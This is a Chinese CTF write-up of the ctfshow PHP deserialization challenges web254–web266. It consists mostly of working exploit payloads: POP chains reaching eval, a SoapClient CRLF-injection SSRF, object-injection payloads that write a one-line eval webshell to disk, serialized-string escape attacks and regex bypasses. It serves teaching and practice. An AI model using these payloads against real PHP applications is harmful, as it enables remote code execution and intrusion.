ctfshow_反序列化上

web254

?username=xxxxxx&password=xxxxxx

web255

cookie:

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

cookie:

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

get:

?username=a&password=xxxxxx

web257

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

想要调用的函数:eval

    public function __destruct(){
        $this->class->getInfo();
    }

想办法更改ctfShowUser类的class属性为backDoor类

 

无绕过

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class;
​
    public function __construct($a)
    {
        $this->class = $a;
    }
​
}
​
class backDoor{
    private $code='phpinfo();';
    public function getInfo(){
        eval($this->code);
    }
}
$a = new backDoor();
$b = new ctfShowUser($a);
echo urlencode(serialize($b));

web258

添加了一层过滤

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

 

加个加号就能绕过了

O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

%2b url编码后的 +

就是说,O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}

:号后面加空格不影响

web259

给出flag.php源代码

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
​
​
if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

访问flag.php 页面回显your ip not 127.0.0.1

index.php

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

反序列化入口在这里

 

SoapClient

//需要打开php.ini里的soap的拓展

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

类摘要如下:

SoapClient {
    /* 方法 */
    public __construct ( string|null $wsdl , array $options = [] )
    public __call ( string $name , array $args ) : mixed
    public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
    public __getCookies ( ) : array
    public __getFunctions ( ) : array|null
    public __getLastRequest ( ) : string|null
    public __getLastRequestHeaders ( ) : string|null
    public __getLastResponse ( ) : string|null
    public __getLastResponseHeaders ( ) : string|null
    public __getTypes ( ) : array|null
    public __setCookie ( string $name , string|null $value = null ) : void
    public __setLocation ( string $location = "" ) : string|null
    public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
    public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

 

payload:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

参考文章: https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

soapclient https://www.btis.site/2020/07/13/SoapClient%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%EF%BC%9A

web260

?ctfshow=s%3A18%3A%22ctfshow_i_love_36D%22%3B

web261

题目提示:打Redis

目标:file_put_contents($this->username, $this->password);

ps:

如果类中同时定义了 unserialize() 和 wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,wakeup() 方法会被忽略。

 

<?php
class ctfshowvip{
    public $username;
    public $password;
​
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

web262

注释提示:message.php

 if($msg->token=='admin'){
        echo $flag;

但是我们无法直接控制token这个属性,他是被写死的

回到一开始的页面

$umsg = str_replace('fuck', 'loveU', serialize($msg));

fuck 四个字符,替换后为5个字符

 

可以通过反序列化字符逃逸来控制token,一开始的页面就是造cookie的,通过在第一个页面,逃逸造出来的带有恶意token属性的cookie去访问message,反序列化拿flag

O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:5:"admin";}
要逃逸的内容:27个字符
";s:5:"token";s:5:"admin";}

我们输入27次fuck,替换后就是比原来多了27个字符

 

本地调试:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$str = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$a = new message(1,2,$str);
$mes = serialize($a);
$umsg = str_replace('fuck', 'loveU', $mes);
​
var_dump(unserialize($umsg));

结果:

object(message)#2 (4) {
  ["from"]=>
  int(1)
  ["msg"]=>
  int(2)
  ["to"]=>
  string(135) "loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU"
  ["token"]=>
  string(5) "admin"
}

可见此时token已被逃逸成admin

 

反过来,如果替换变少的话,我们也可以新增属性

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
//echo serialize(new message());
$b='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck';
$str = ';s:5:"token";s:5:"admin';
$a = new message(1,$b,$str);
$mes = serialize($a);
$umsg = str_replace('fuck', 'lov', $mes);
echo $umsg;
//O:7:"message":3:{s:4:"from";i:1;s:3:"msg";s:68:"lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:";s:5:"token";s:5:"admin";}
//";s:2:"to";s:23:"
//17个字符
var_dump(unserialize($umsg));
​
O:7:"message":3:{s:4:"from";i:1;s:3:"msg";s:64:"lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:";s:5:"token";s:5:"admin";}object(message)#2 (4) {
  ["from"]=>
  int(1)
  ["msg"]=>
  string(64) "lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:"
  ["to"]=>
  NULL
  ["token"]=>
  string(5) "admin"
}

新增了不存在的属性

web263

php session 反序列化,www.zip

1.理解php session反序列化漏洞原理

https://www.jb51.net/article/116246.htm

2.做题

$_COOKIE['limit']我们可控

inc/inc.php

file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));

"log-".$this->username 我们写入的文件名

"使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s') 我们写入的东西

 

但是怎么调用这个User类中的__destruct呢,我们可以通过phpsession,反序列化储存后,取出时调用的unserialize来触发

<?php
class User{
    public $username;
    public $password;
    public $status='a';
​
}
$a=new User();
$a->username='a.php';
$a->password='<?php eval($_POST[1]);?>';
echo base64_encode('|'.serialize($a));

把生成的东西放到cookie['limit']里,然后访问index.php

触发

$_SESSION['limit']=base64_decode($_COOKIE['limit']);

存入session

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key,将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value,然后进行反序列化,最后就会得到A这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用php引擎的页面时session去读session中的内容并反序列化导致漏洞触发,不需要任何输出

 

我们就能写入log-a.php一句话了

web264

262+263的感觉

$_SESSION['msg']=base64_encode($umsg)

在这里存进了session

 

message.php

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

在这里取出了session,同时伴有unserialize

/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

    public function login(){
        return $this->token===$this->password;
    }

token是随机数,但是password我们可控 地址传参,让password指向token的地址

<?php
class ctfshowAdmin{
    public $token;
    public $password;
​
    public function __construct(){
        $this->token= 'a';
        $this->password = &$this->token;
    }
}
​
echo urlencode(serialize(new ctfshowAdmin()));

web266

if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

如果匹配到ctfshow,就会抛出异常,导致无法触发__destruct方法

 

拿上一题的环境测试:

<?php
class ctfshowAdmin{
    public $token;
    public $password;
​
    public function __construct(){
        $this->token= 'a';
        $this->password = &$this->token;
    }
    public function __destruct(){
        echo '<br>success<br>';
    }
}
$a = new ctfshowAdmin();
echo serialize($a);
​
$c = 'O:12:"CtfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}';
unserialize($c);

 

回显

O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
success
​
success

因此,只要将序列化后的字符串,给他把c大写就能绕过正则匹配了,且反序列化不影响

本地测试多次,哪个字符大小写貌似都不影响__destruct

 

 

 

 

 

上一篇:Yarn中的资源调度


下一篇:7.深育杯赛前培训-反序列化漏洞